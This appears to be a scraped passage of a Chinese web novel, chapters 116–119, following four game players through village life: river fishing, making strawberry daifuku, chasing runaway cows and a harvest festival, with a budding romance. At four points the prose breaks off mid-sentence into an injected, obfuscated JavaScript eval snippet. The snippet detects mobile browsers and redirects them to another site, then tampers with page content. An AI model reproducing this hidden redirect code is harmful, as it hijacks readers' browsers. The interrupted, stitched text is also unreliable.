初与序站起身走过来,伸手捏住螃蟹背壳,小螃蟹立刻调转火力,松开钳子要去夹她,被她轻轻一抖手腕,丢进了鱼篓。 刚刚还跌倒的随歌忽然又不知何时钻入水里,他冒出来,高高举起战利品:“抓到啦……等等,这啥?” 一条花纹奇特的胖头鱼在他手里吐着泡泡,鱼眼呆滞地瞪着天空。 景明垂辨认道:“沼鱼,专吃蚊子幼虫。” “能吃吗?” “能。” “那我要……” “吃完会肚子疼三天。” 随歌的手僵在半空,胖头鱼趁机一个鲤鱼打挺,“噗通”跳回河里,临走还甩了他一脸水。 正午时分,冬逢初看着满满当当的鱼篓:“差不多了吧?” 景明垂掂了掂重量:“够了,可以回去了。” 四人提着沉甸甸的鱼篓回到小院里时,正在晾衣服的小伙子惊得差点摔了竹竿:“你们钓鱼需要潜水?” 景明垂把鱼篓放在石桌上:“他们选择用更高效的方式——下河摸鱼。” 阳光下,初与序的裤脚还在滴水,冬逢初的衬衫透得能看见腰线,随歌的衣摆甚至挂着根水草,他伸手将水草拿下去。 “哎呀这怎么行!”老婆婆急急忙忙从屋里抱出一叠衣服,“快换上我和老头子年轻时的旧衣裳!着了凉会生病的!” 初与序随便拿了一件,那是靛青色的布衣,显然有些年头了,袖口锈着褪色的缠枝纹。但洗得极感觉。她在厢房里换上时,发现衣摆长了一截,只好把下摆卷起两折,塞进裤子里。 等她回到堂屋时,饭菜已经摆上桌。但冬逢初的位置空着,只摆着一碗冒着热气的姜汤。 “冬逢初呢”初与序问。 妹妹正往桌上端菜,摇摇头:“没看见呀。” 随歌嘴里塞满饭,含糊不清:“可能还在换衣服?或者在处理伤?他刚刚不是被螃蟹夹到手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455918|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 初与序抿了抿唇:“我去看看他。” 后院厢房的门虚掩着,透出一线昏黄的光,她轻轻推开门。 只见冬逢初背对着门口,正和一件深蓝色的旧式布衣较劲。那衣服的盘扣复杂,他修长的手指勾着扣眼,却怎么也系不上,露出一截白皙的后颈和线条分明的肩胛骨。 听到动静,他回头,微湿的刘海搭在额前,眼里带着无奈的笑意:“扣子有些难系。” “我来吧。”初与序慢慢走过去,伸手接过那枚盘扣。指尖不小心碰到他的锁骨,像被烫到似的缩了一下。 屋里很安静,只有两人的呼吸声。冬逢初垂着眼看她,呼吸拂过她的发丝。 初与序低着头,从最下面的扣子开始系。贝壳状的扣子又小又滑,她不得不凑得更近些。 视线所及是冬逢初精瘦的腰腹,皮肤在昏暗的光线下泛着冷白,肌理线条清晰却不夸张,随着呼吸微微起伏。她的耳尖渐渐烧了起来,手上的动作越来越慢。 冬逢初忽然轻笑一声:“这么难系?” 她的手指一顿,没抬头:“……嗯。” 系到领口最后一颗时,冬逢初忽然握住了她的手腕。 初与序终于抬头看他。 冬逢初眼底含笑,目光从她的眼睛慢慢移到唇上。在发现初与序并不抗拒时,他缓缓靠近初与序,睫毛垂下来,阴影落在鼻梁上。 初与序屏住呼吸。 “你们俩干嘛去了——” 随歌的大嗓门伴随着推门声戛然而止。 三双眼睛在空气里尴尬相撞。随歌的视线在两人交叠的手上停留了不到一秒,突然以惊人的速度后退:“对不起!你们继续!” 门被猛地关上,脚步声慌慌张张远去。 屋里重新陷入寂静。 冬逢初还握着初与序的手腕,掌心发烫。紧接着,初与序突然踮起脚,一个轻如羽毛的吻落下冬逢初脸颊。 她转身就跑,青布衣角掠过门槛,像只受惊的兔子。 冬逢初站在原地,指尖碰了碰刚才被亲过的地方,忽然笑了。 他回到餐桌时,衣襟上的最后一颗纽扣已经被他自己系好。随歌正捧着碗扒饭,见到初与序和他一前一后回来,立刻坐直了身子,眼睛盯着自己碗里的芋头,嘴里打着哈哈:“啊哈哈,今天的鱼汤真白啊!” 景明垂挑着鱼刺:“你还没喝到。” “我是说颜色!颜色!”随歌战术性咳嗽,“咳咳……嗯。” 老婆婆端上刚炒好的河虾,红彤彤的虾壳还冒着热气:“趁热吃!这可是你们自己摸的。哎?闺女你脸怎么红了?” 初与序:“……有点热。” “热吗?”妹妹疑惑地望向穿堂风,“我还觉得凉嗖……” 景明垂突然往她碗里夹了只螃蟹:“食不言。” 妹妹一脸懵地看着四人,最终还是摇摇头没说话。 窗外,那只战斗鸡雄赳赳地踱过院子,黑洞眼锐利地扫视餐桌,仿佛在说: “呵,人类情侣。” 117.田园牧歌 午饭后的阳光懒洋洋洒在桌上,小伙子抱着一筐竹筛走进堂屋,筛底还粘着面粉的残白。 “明日祭典要用的草莓大福,正好用上你们昨天摘的草莓。”他把沉甸甸的糯米袋咚地放在桌中央。 初与序望着被搬进来的草莓筐,那些鲜红的果实还带着刚刚洗过的水渍。 妹妹踮脚往桌上摆蒸笼,麻花辫扫过糯米粉袋,扬起一阵细雪般的雾:“阿婆说祭典用的要包一百八十八个象征……” “等等,”随歌突然从饭碗里抬头,“一百八十八个?就我们四个包?” 冬逢初已经挽起袖子,皮肤在阳光下白得晃眼:“你可以试一试让那些鸡来帮忙。” 窗外,那只三黄鸡恰巧踱过院子,黑豆眼意味深长地瞥了随歌一眼。随歌连忙摇摇头:“不用了不用了,就我们四个吧。” 小伙子把糯米团“啪”地摔在撒满糕粉的案板上,白雾腾起。他揪下一团莹白的糯米,在掌心压成圆饼,鲜红的草莓陷进豆沙里:“红豆沙要抹匀,草莓尖朝下放。” 初与序学着他的动作,结果糯米黏了满手。景明垂递来沾水的毛巾,她低头擦拭时,发现景明垂的手也沾着糕粉。 “收口要像这样转。”小伙子的拇指灵巧地一捻,雪白的团子立刻浑圆饱满。随歌有样学样,捏出了个歪嘴南瓜。 “你红豆沙漏了。”冬逢初提醒。 随歌低头一看,草莓大福的底部正缓缓渗出暗红馅料,活像吐血的馒头。 而另一边,景明垂面无表情把自己的完美作品放进竹屉里。 “这个包得很好。”小伙子夸赞道,他笑着解下围裙,“剩下的交给你们。妹!走了,我们去田里!” “来啦!”妹妹蹦蹦跳跳跟上。门帘晃动,传来她渐远的哼唱声。 两人前脚刚走,堂屋就变成了战场。 “这玩意儿比副本BOSS还难缠!”随歌咬牙切齿地对付着手里那团倔强的糯米,结果越揉越黏,最后整只手困在了面团里,“哥几个!救命!” 景明垂头也不抬,手指灵巧地一转,又一个完美的草莓大福诞生:“自己解决。” 初与序捧着刚包好的第一个成品,小心翼翼地放在竹屉上。圆滚滚的白团子乖巧地排着队,只有她那个微微歪着头,像在打瞌睡。 冬逢初轻笑:“很可爱。” 她轻轻笑了一下,低头去拿第二颗草莓,却发现原本放第二颗草莓的地方空空如也。 “草莓呢?” 三人同时抬头看向随歌。 只见随歌嘴里鼓鼓囊囊塞着一颗草莓,手里还捏着半颗没包完的草莓:“我就尝一颗!真的就一颗!” “你还是别包了。”景明垂抬起头,朝窗外扬了扬下巴,“你去看看那两个偷看的是怎么回事。” 三人立刻停下手里的动作,顺着景明垂指着的方向看去。果然,在晒茶架的阴影处,两个鬼鬼祟祟的身影正探头探脑。 “副本BOSS终于出现了?”随歌瞬间进入战斗状态,伸手就要拿竹扇,又想起来四人的武器已经被D19收走了。 一转头,初与序已经像离弦的箭般飞了出去。她一个箭步踏上晒茶架的横木,借力腾空跃起。 “拦住她!”阴影中较高的人影低喝一声,猛地推开同伴。初与序的飞踢擦过他的兜帽掠过,带起的劲风掀开了布料一角。 冬逢初皱眉:“等等,那个声音……” 但随歌已经嗷嗷叫着扑上去:“吃我一记糯米拳!”他抡起沾满糯米饭的拳头砸向较矮的黑影,对方却灵活地矮身一滚,反手扣住他的手腕就是一个过肩摔。 “AUV!我去!”随歌后背重重砸进稻草堆,惊起一群麻雀。 景明垂不知何时已绕到两人身后,一记收到劈向高个子的后颈。对方却像背后长眼似的突然蹲下,同时扫腿攻她下盘。景明垂临空翻身,落地时手已经勾起地上一根挑茶叶的竹竿。 “周听,蒋川。”她冷声道。 被点名的两人身形明显一僵,初与序趁机一个滑铲,直接将矮个子铲倒在田埂上。冬逢初箭步上前,膝盖压出对方后背,一把扯下兜帽。 几乎同时,景明垂用竹竿挑飞了高个子的伪装。周听讪笑着举起双手:“好久不见啊各位,来跟你们叙叙旧…” 随歌顶着一头稻草从草堆里爬出来,悲愤地指着自己脸上的红印:“你们他妈管这叫叙旧?!他们俩谁啊?你们认识?” “是我们在第二个新手副本《狼人杀》遇到的队友。”冬逢初站起身。 初与序的手指还扣在蒋川的咽喉处:“为什么要跟踪我们?” 周听被景明垂压着,干笑两声:“那个,最近永冬之城暗网,‘屠宰场’不是悬赏你们三的人头没!他们查到我们和你们一起通关过《狼人杀》新人本,就找到我们跟踪……” 蒋川艰难地补充:“看你们死在S级副本没,我们想着又没让我们杀人,就来看看。” 景明垂挑眉:“所有你们是来收尸的?” “算是。”周听诚实地点点头,“但你们这不好好的在干农话吗?” 随歌双手叉腰:“两个选择,第一,我们把你们埋进茶田当肥料。第二,和我们包完一百八十八个草莓大福。” 周听和蒋川对视一眼,蒋川无奈道:“选二。” 周听看着堂屋里惨不忍睹的糯米战场,声音发颤:“能选一吗?” 半小时后,堂屋里多了两个苦力。蒋川手法很娴熟,捏出的团子比景明垂的还圆。周听则被随歌拿擀面杖监督着,哭丧着脸给草莓去地蒂。 “轻点!”随歌一棍子敲在周听手上,“这草莓比你命都金贵!” 周听朝他翻了个白眼:“你自己给草莓去蒂,去四个吃两个,还好意思说我?” “嘿!”随歌作势要掏手机,“你完了,我要call意哥来,用他的S级权限把你积分全转走!” “别,我错了!”周听立刻闭上嘴继续动手。 另一边,蒋川正麻利地捏着草莓大福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537190|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手指沾满雪白的糯米饭,嘴里哼着之前在《狼人杀》经常哼的小调。 她随意一回头,忽然僵住。 只见初与序和冬逢初并肩站在案板前,冬逢初微微倾身,正用指腹擦掉初与序脸颊边沾到的糯米饭。初与序没躲,手里还捏着个歪歪扭扭的草莓团子。 “卧槽?!”蒋川手里的豆沙勺掉进盆里,“你两真成了?!” 周听正在偷吃草莓的动作一顿:“什么成了?” 蒋川一个箭步冲上去,像发现新大陆似的绕着两人转圈:“哎呀呀~这不是我在《狼人杀》里亲手绑定的那对小情侣嘛~我当时还是随便绑的,想着俊男美女养眼呢~” 初与序:“……” 冬逢初:“……” “啊啊啊我这是什么神仙手气~”蒋川原地转圈,“早知道该去永冬之城暗网开个婚介所!收积分绑红线!” “蒋小姐。”冬逢初温和地提醒,顺手把初与序往身后挡了挡,“快黄昏了,快包草莓吧。” 厨房重新热闹起来,在经历九九八十一难过后,最后一颗草莓大福终于被妥帖地收进竹屉。夕阳已经将堂屋染成了蜜糖色,糯米饭像初雪般铺了满地,每个人的脸上、衣襟上都沾着白扑扑的痕迹,活像刚从面粉堆里滚过一遭。 “哇!”妹妹梳着竹屉里的团子,“这些都是你们包的?” 竹屉里整整齐齐地排列着一百八十八个雪白的团子,在傍晚的阳光下泛着温润的光。虽然有的圆润如满月,有的略显笨拙地歪着头,但每一个都饱满可爱,散发着甜糯的香气。 小伙子擦了把汗,笑着竖起大拇指:“厉害啊!祭典的甜点有着落了!” 蒋川打了个哈欠:“那是~也不看看是谁帮忙~”她撞了下周听的肩膀,“走啦走啦,我们的任务完成啦~” 周听挥挥手:“我们得先回永冬之城了,再带下去要被塞狗粮噎死了!” “等等,”景明垂忽然开口,“屠宰场那边呢?” 蒋川摆摆手,怪腔怪调地唱道:“放心啦~就说四位正在S级副本里杀得昏天黑地,血流成河,估计回不去了。” “滚吧你。”随歌笑骂着扔过去一颗草莓,被周听敏捷地接住塞进嘴里。 蒋川临走前还不忘回头,对初与序和冬逢初眨了眨眼:“本丘比特的红线没牵错呢~” 四人目送两人离开,院子门“吱呀”一声合上。 “今晚就没什么事需要你们帮忙啦。”小伙子端起竹屉,“好好休息吧!” 初与序拍了拍手上的粉末:“我们玩什么?” 随歌不知从哪里摸出一副扑克牌。哗啦啦洗着:“来来来,斗地主,输的人明天负责喂咯咯哒!” 初与序和冬逢初对视一眼,在檐廊下坐下。景明垂冷冷地瞥了眼牌堆,手指一翻,精准地切出了三叠。 芦花鸡在院子里悠闲地踱步,偶尔好奇地探头看看屋内。四个身影围坐成一圈,手边竹屉里,一百八十八个草莓大福正静静等待着明晚的祭典。 118.田园牧歌 夜风轻摇着晒茶架,打完斗地主,四人各自回到昨日的床铺。 初与序侧卧在窗边的位置,景明垂的呼吸已经变得均匀。隔壁冬逢初翻了个身,随歌在黑暗中小声嘟囔:“那只咯咯哒最好别又半夜打鸣。” 初与序无奈地摇摇头,闭上眼睛。 然后,当她已经睡熟时,又被一阵急促的砸门声惊醒。 “哐哐哐!”木板门震得发颤,“起来找牛——!两头牛跑了——!” 初与序被吵醒,懵了几秒,迷迷糊糊坐起身。身边的景明垂已经利落地翻下床穿鞋,动作快速。 院里的火把光影乱晃,映出纸窗上的人影。初与序踩在冰冷的泥地上,刚刚拉开门帘,隔壁的两个男生也刚好出来。 “发生什么事情了?”冬逢初的声音从对面传来,他也只披了一件单衣,领口大敞着,锁骨上还留着竹席的压痕。身边同样是一脸懵的随歌,正睡眼惺忪地抓着炸成鸡窝的黄头发。 四人面面相觑时,小伙子已经提着火把冲过来,草绳扎腰的裤腿还一长一短:“快!两头黄牛!往山上跑了!” 初与序抬头望向远处黑黝黝的山影,夜风卷着稻草屑掠过脚背,痒丝丝的。 还没等四人完全清醒,小伙子又往每人手里塞了一支火把。粗糙的竹柄还带着灶房的余温,宋制燃烧的噼啪声在夜色里格外清晰。 “跟我们来!”小伙子转身就冲出远门,初与序立刻穿上鞋跟上去。 火把的光晕里,十几个村民正往山上跑,扛锄头的、拎麻神的,甚至还有抱着颠簸的,乱哄哄的脚步声惊醒了整片山林。 “等等等!”随歌提着火把追上来,睡翘的头发在风里晃得像鸡冠,“牛长什么样来着?” 冬逢初突然被身后的老婆婆塞了把干草:“用这个引!黄牛最喜欢这味儿!”他低头看了看手里的草料,难得露出茫然的表情。 景明垂的火把突然照向山路:“蹄印。” 泥地上的新月形痕迹在火光中一闪而过,远处传来此起彼伏的吆喝声:“大角——!二花——!” 初与序的睡意终于被夜风吹散,她握紧火把,看着蜿蜒上山的火龙,突然觉得这比任何副本BOSS战都荒诞。 小伙子在前方挥手,火光映亮他焦急的脸:“快啊!它们最爱啃村长的秧苗!” 四人深一脚浅一脚地跟上,火把的光在身后拖出长长的尾巴。 村民们很快四散分开,举着火把钻进不同的山道。小伙子领着睡眼惺忪的四人,沿着一条陡峭的小径往上爬。 “大角——!二花——!”小伙子扯着嗓子喊,声音在山谷里回荡。 初与序困得眼皮直打架,走路都轻飘飘的,差点一脚踩空。冬逢初眼疾手快地扶住她:“小心。” “谢谢。”初与序揉了揉眼睛。 深夜的山林阴森森的,火把的光只能照亮脚前几步的路,再远些便被浓稠的黑暗吞噬,这对初与序这个半瞎来说很不友好。树影在火光边缘扭曲晃动,夜风掠过树梢,发出“沙沙”声,偶尔夹杂几声不知名鸟类的凄厉啼叫。 “这地方真的会有牛来?”随歌搓了搓胳膊上的鸡皮疙瘩。 话音未落,远处突然传来树枝断裂的“咔嚓”声,五人同时屏住呼吸。黑暗中,两点幽绿的光一闪而过。 “狼?”景明垂皱起眉。 “是夜猫子。”小伙子摇头,举起火把照向声源,果然只照见一只受惊的猫头鹰扑棱棱飞走。 山路越来越陡,火把的光在潮湿的空气中晕开一圈昏黄的光晕。夜露打湿了杂草,不知名的虫子在脚边快速爬过,带起细微的窸窣声。 景明垂忽然蹲下,火把贴近地面。 泥地上的牛蹄印还泛着水光,显然刚留下不久。五人顺着痕迹追踪,却在拐过一块突出的山岩后,蹄印诡异地消失了。 “分头找。”小伙子指了指前方岔路,“你们往左,我往右。” 分开后的山林显得格外阴森,火把的光圈缩小到仅能照亮彼此的脸,四人的脚步声在寂静中格外清晰。 “我总觉得,有什么在盯着我们。”随歌紧张地左顾右盼。 仿佛回应他的话,远处传来一声悠长的“哞——”,像是牛叫,又像是山风穿过岩缝的呜咽。 冬逢初举起火把照向声源,火光只照亮了一片随风摇晃的灌木,有什么东西在其中快速穿行,枝叶剧烈晃动,却看不清真容。 夜风突然变得刺骨,火把的火焰被压得低伏,在四人脸上投下跳动的阴影,就在这诡异的寂静里,只听“轰隆!”一声! 随歌背后的树丛突然剧烈晃动起来,他下意识转身,正对上一双血红的牛眼。 二花喷着鼻息,前蹄暴躁地刨着土。 随歌:“???” 下一秒,公牛猛地低头冲来!牛角精准地挑住他的裤腰带,随歌整个人被甩向半空! “噗通!”一声,水花溅起三米高,山沟底的水潭完美承接了自由落地的随歌。水潭里缓缓浮起一只绝望的手:“救…命…” 另外三人同时转头。 “随歌……掉沟里了?”初与序不确定地问。 冬逢初望着远处被惊起的鸟群:“……可能。” 景明垂拿着火把照向林子深处:“牛在那里。” 月光下,两头黄牛正悠闲地啃着村长家的秧苗。大角甚至甩了甩尾巴,一副“你能拿我怎样”的嚣张模样。 随歌从水潭里冒出头,嘴里还吐出一条小银鱼。冰凉的潭水顺着他的头发往下淌,在月光下活像只落汤鸡。 “呸!呸呸!”他狼狈地爬上岸,湿透的衣裤往下滴水,“二花!我跟你没完!” 话音未落,岸上的二花突然打了个响鼻,牛尾巴得意地一甩,转头又往树林深处跑去。 “别跑!”随歌气急败坏地往前追,结果脚下一滑,又栽回了水潭里。 三人赶到水潭边,初与序举着火把,望着水潭里扑腾的随歌,一时不知道该不该笑。冬逢初轻咳一声,伸手去拉随歌:“先上来再说。” 随歌抓住他的手,湿漉漉地爬上岸,顺便甩了冬逢初一身水:“这牛绝对是副本BOSS伪装的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537191|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小伙子急匆匆赶来,掏出干草摇晃:“大角!二花!回家啦!” 两头牛这才慢悠悠地走过来,鼻子里喷着气,仿佛在说:“早这样不就好了?” 五人牵着牛回到村里时,天边刚刚泛起鱼肚白。随歌浑身湿透,每走一步都在地上留下一个水脚印。二花跟在他身后,还时不时用鼻子供他一下,仿佛在催促他走快点。 “先去换衣服。”小伙子指了指屋里,“待会儿还要收麦子。” 随歌悲愤地指着自己:“我都这样了还要干活?!” 冬逢初笑着安慰:“一会到麦田,你就在一边休息吧。” “这还差不多。”随歌哼哼着走进屋里换衣服。 简单吃过早饭后,四人拿着镰刀来到麦田。 晨雾还未散尽,金黄的麦穗上挂着晶莹的露珠,风一吹便掀起层层破浪。初与序弯腰摸了摸麦秆,粗糙的触感传来。 她掏出手机,按照手机上的教程,把手指轻轻搭在木制刀柄上,手腕放松,顺着麦秆的弧度斜着划过去。麦秆断裂,切口整齐,沉甸甸的麦穗垂落在她掌心,带着晨露的湿润。 景明垂已经独自走向另一拢麦田,镰刀在她手中仿佛有了生命,每一次挥动都带起一片金色的麦浪。麦秆在她身后整齐地倒下,像一片金色海洋。 随歌打了个哈欠,慢悠悠地晃到田埂边,一屁股坐在草堆上,草帽往脸上一扣,懒洋洋地拖长音调:“我负责给你们加油,加——油——” 阳光渐渐温暖起来,初与序的动作也从一开始的生涩变得流畅,镰刀划过麦秆的“沙沙”声融入风声。她的额角渗出细密的汗珠,但神情却比往日放松。带着一丝专注的宁静。 冬逢初偶尔抬头看她,见她微微抿着唇,睫毛在阳光下镀上一层金边,发丝随着动作轻轻晃动。他的目光不自觉地柔和下来。 当他弯腰割下一丛麦子时,忽然发现田垄边缘的灌溉渠旁,盛开着一小片勿忘我。蓝自色的花朵在麦浪旁显得格外清新,花瓣上还挂着未干的露珠。 他蹲下身,指尖轻轻碰了碰花瓣,唇角不自觉地上扬。 冬逢初回头看了眼初与序,她正专注地捆着麦子,青布衣袖挽到手肘,露出一截白皙的手臂。阳光穿过麦穗的缝隙,在她身上投下斑驳的光影。 冬逢初悄悄采下一朵最饱满的勿忘我,花瓣在他掌心微微颤动。 他走到初与序身后,轻声说:“阿序,别动。” 初与序一愣,还没反应过来,就感觉发间微微一凉。冬逢初的手指轻轻拂过她的鬓发,将那朵蓝色的小花别进她的发丝里。 “好了。”他的声音很轻,带着一丝紧张。 初与序抬手摸了摸发间的花朵,触碰到柔软的花瓣。 随歌掀开草帽,眯着眼睛看过来:“啧啧啧,某些人割麦子都能割出浪漫来?” 初与序低下头,唇角微微弯起。那朵勿忘我在她发间轻轻摇曳,像是麦田里一个秘密。 风吹过麦浪,金色的海洋泛起涟漪。 原来最温柔的瞬间,就藏在这一望无际的丰收里。 119.田园牧歌 将近正午,几人收完麦子,麦捆被整齐地码在板车上,沉甸甸地压出吱呀的声响。初与序拍去手上沾到的碎渣,和另外三人往村里走。 远远就看见晒谷场上铺开了一片斑斓的色彩,火红的辣椒串成帘,金黄的玉米棒垒成塔,橙红的柿饼排成行,在阳光下泛着蜜糖般的光泽。 “来得正好!”老婆婆垮着竹筛朝他们招手,“帮忙把这些辣椒铺开!” 初与序接过筛子,红艳艳的辣椒滚在掌心,还带着阳光晒过的暖意。她学着村民的样子,将辣椒轻轻抖落在竹席上,红色瀑布般倾泻而下,映得她手上也染上几分艳色。 晒谷场的一角,妹妹正哼着歌串辣椒。 初与序走过去帮忙,手指灵巧地将红辣椒穿在麻绳上。妹妹突然凑近,神秘兮兮地压低声音:“姐姐头发上的花正好看。” 初与序一愣,手指无意思地碰了碰那朵勿忘我。妹妹眨眨眼,从兜里掏出几颗野山楂塞给她:“是那个哥哥送的吧?阿婆说,勿忘我是相思花哦。” 野山楂酸酸甜甜的滋味在舌尖划开,初与序没说话,垂下眼,睫毛在眼下投下一片小小的阴影。 景明垂独自坐在晒谷场边缘的磨盘旁,她手里握着一把小刀,专注地削着柿子皮。刀刃在她指间翻飞,果皮如丝绸般剥离,露出饱满的橙红色果肉。 她的动作又快又准,削好的柿饼整齐地码在竹筛上,在阳光下泛着诱人的光泽。 偶尔有村民路过,忍不住夸赞:“姑娘手艺真好啊!” 景明垂只是淡淡点头,继续手上的活儿。 冬逢初被分到玉米堆,晒干的玉米棒堆成小山,他负责将它们一筐筐搬到粮仓旁。汗水顺着他的额角滑下,浸湿了衣领,但他的动作依旧利落。偶尔,他会停下来,目光不自觉地寻找初与序的身影。 随歌拿着木耙,蹦手蹦脚地翻动柿饼,差点把柿饼戳破。 “哎呀,小伙子!”晒柿饼的大爷赶紧拦住他,“轻点儿!小心别戳破了!” 随歌挠挠头,干笑两声:“失误失误!” 日头西斜时,晒谷场变成了调色盘,辣椒的红、玉米的黄、柿饼的橙,在夕阳下融化成流淌的蜜。四人坐在粮堆旁休息,身上沾满了五谷的香气。 妹妹蹦跳着送来新酿的柿子酒,杯底沉着细碎的星光。初与序抿了一口,甜味从舌尖漫到心底。 暮色四合时,村中央的大树下已经支起了高高的灯笼架。九十多盏红灯笼在晚风中轻轻摇曳,将整个晒谷场照得如同白昼。 村民们穿着浆洗得发亮的粗布衣裳,挨挨挤挤地围在长桌旁,桌上摆满了各家拿手的吃食。什么新蒸的糯米饭、油亮亮的腊肉、初与序他们包的草莓大福,还有白天晒好的柿饼和辣椒串,全都散发着诱人的香气。 “吉时到——” 老村长敲响铜锣,浑厚的声音在山谷间回荡。所有人都安静下来,连跑来跑去的孩子也乖乖坐好。初与序四人被安排在最前排的草席上。 “一祭天公,风调雨顺——” 小伙子们抬出三牲祭品,老婆婆们献上刚摘的时令鲜果。老村长将一捧金黄的麦穗高高举起,麦芒在灯笼下闪着细碎的金光。 “二祭地母,五谷丰登——” 妹妹带着一群小姑娘跳起祈福舞,手腕上的辣椒铃铛叮当作响。 “三祭人勤,家和业兴——” 铜锣再次敲响,所有人齐声欢呼。长桌顿时热闹起来,大陶湾碗盛满新酿的米酒,在人群中传递。随歌刚接过碗喝一口,就被辣得直吐舌头。 “尝尝这个。”冬逢初掰开还冒着热气的红糖滋粑,一半递给初与序。糯米的甜香混着稻草的清香,她慢吞吞咬了一口。 老村长突然朝他们举起酒碗:“多谢四位贵人相助!” 全村人跟着举杯,火光映亮一张张淳朴的笑脸。 初与序小心翼翼地捧起一把米,学着村民的样子往空中抛洒。金黄的米粒在火光中划出优美的弧线,落在人们头顶时引来阵阵欢笑。冬逢初的米撒得很远,有几粒甚至落在了晒谷场边缘的鸡窝里,惊得三黄鸡扑棱棱直叫。 “哥!你也太好了!”被鸡追过的随歌恨不得给冬逢初磕两个,“你竟然为我报仇,我愿意为你当牛做马!” 冬逢初:“……” 酒过三巡,晒谷场上的气氛愈发热烈。几个壮实的村民搬出了牛皮大鼓,厚重的鼓声震得地面微微发颤。小伙子们赤着上身,腰间系着红绸带,踩着鼓点跳起了丰收舞。 他们手中的木棍有节奏地敲击,脚步踏起阵阵尘土。火光映照下,汗水顺着他们结实的脊背滚落,充满了野性的力量感,引得姑娘们掩嘴轻笑。 几个小妹妹也不甘示弱,手拉手围成一圈,踩着轻盈的步子转起圈来。他们在发间别了麦穗,随着动作纷纷扬扬地落下,洒了一地的芬芳。 景明垂坐在角落,面前摆着一盘棋,正和一个须发皆白的老者对弈。她落子如飞,老者却总是慢悠悠地思考。周围围了一圈村民,屏息观战。 “将军。”景明垂忽然开口。 老者捋着胡子,哈哈大笑:“好!好!老头子我认输!” 另一边,随歌正和几个小孩玩得不亦乐乎。 “看我的!”他不知从哪学来了杂耍,正抛着三个柿饼,结果一个没接住,柿饼砸在了自己脸上,引得孩子们哈哈大笑。 “放天灯咯!” 祭典的喧嚣渐歇时,村民们又捧出了新糊的河灯。这些灯盏做工粗糙,粗纸糊的灯罩上还沾着未干的浆糊,却透着朴实的温暖。 “来来来,都写个愿。”老村长将蘸好墨的毛笔递给四人,“人们顺着溪水放下去,灵得很哩!” 随歌大笔一挥,在灯面上龙飞凤舞写下:「希望下次副本别遇到咯咯哒!!!」三个感叹号力透纸背。正要放手,笔尖又忽然顿了顿,他又在角落添了行小字: 「希望本帅哥能再次登上舞台」 字迹变得工整,像怕惊扰某个遥远的梦。 景明垂的毛笔悬在灯面上许久,墨滴晕开成灰色的月亮。过了好久才提笔写下:「愿阿山回家」。写罢自己都摇头,却固执地不肯重写。 烛光映着她的脸轮廓,仿佛又看见那年那天,父亲把呜咽的伯恩山犬摔进地面的模样。 初与序托着下巴思考了很久,最终落下「愿岁岁年年,灯火可亲,故人不散」 墨迹在粗纸上洇开,像一滴未落的泪。她望着灯芯跳动的火苗,将发间的勿忘我取下,别在了河灯上面。 冬逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585012|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初对着河水想了想,单手护着火苗,另一只手工整地写下:「愿阿序此生自在无忧,与我岁岁相见」。顿了顿,又添上:「也愿天下有情人终成眷属」。 写罢看向初与序,发现她正望着自己,两人的目光在烛光中轻轻一碰,又各自别开。 “放灯咯——” 妹妹赤脚跑进溪水,将第一盏灯推向水流。四人跟着村民蹲在岸边,看着各自的愿望随波远去。 初与序的灯转了个圈,勿忘我的花瓣擦过冬逢初的灯沿。随歌的灯撞上石头,被一个村民用竹竿轻轻拨正。而景明垂的灯晃悠悠地顺利漂进溪流,像是能载着这个不可能的愿望一往直前。 千百盏河灯顺流而下,汇成一条地上的银河。火光倒映在水面,与星空连成一片。 随歌忽然指着下游:“快看!” 原来那些灯盏漂到转弯处,被水波推着聚成一朵莲花的形状。火光摇曳中,隐约能看见「别遇到鸡」几个大字飘在最上面,下面压着「回家」、「故人不散」和「终成眷属」,像首未写完的诗。 初与序望着那团暖光渐渐远去,耳边忽然传来随歌激动的声音:“放烟花了!” “砰——!” 